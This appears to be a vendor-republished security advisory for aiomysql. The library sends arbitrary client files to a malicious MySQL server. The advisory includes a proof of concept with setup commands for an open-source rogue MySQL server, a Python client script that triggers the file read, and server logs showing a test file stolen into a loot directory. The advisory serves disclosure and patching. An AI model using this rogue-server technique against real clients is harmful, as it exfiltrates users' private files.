GHSA-r397-ff8c-wv2g
aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
aiomysqlReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.
Details
It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.
PoC
First, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server
- Create a file to be stolen by the rogue server:
echo "gotcha" > /tmp/my_secret_file.txt - Clone the repo:
git clone [email protected]:rmb122/rogue_mysql_server.git && cd rogue_mysql_server - Build the server:
make rogue_mysql_server - Generate a sample config:
rogue_mysql_server -generate - In
config.yamlchangefile_listto["/tmp/my_secret_file.txt"] - Run the server:
./rogue_mysql_server -config config.yaml
Next, the vulnerability can be seen in action with the following script, which can be run in a second terminal:
import asyncio
import aiomysql
loop = asyncio.get_event_loop()
async def test_example():
conn = await aiomysql.connect(
host="127.0.0.1",
port=3306,
user="root",
password="",
db="mysql",
loop=loop,
local_infile=0, # note that we explicitly forbid local_infile
)
cursor = await conn.cursor()
await cursor.execute("SELECT 1")
print(cursor.description)
r = await cursor.fetchall()
print(r)
await cursor.close()
conn.close()
loop.run_until_complete(test_example())
The rogue server will output log messages indicating successful file read and save the contents in the loot/ directory
level=info msg="Client from addr [xxx], ID [1] try to query [select 1]"
level=info msg="Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]"
level=info msg="Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]"
level=info msg="Client leaved, Addr [xxx], ID [1]"
Impact
This vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.
Fix suggestion
Can be fixed by porting relevant changes from PyMySQL – https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | aiomysql | all versions | 0.3.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for aiomysql. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update aiomysql to 0.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r397-ff8c-wv2g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-r397-ff8c-wv2g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-r397-ff8c-wv2g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-r397-ff8c-wv2g in your dependencies?
O3 detects GHSA-r397-ff8c-wv2g across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.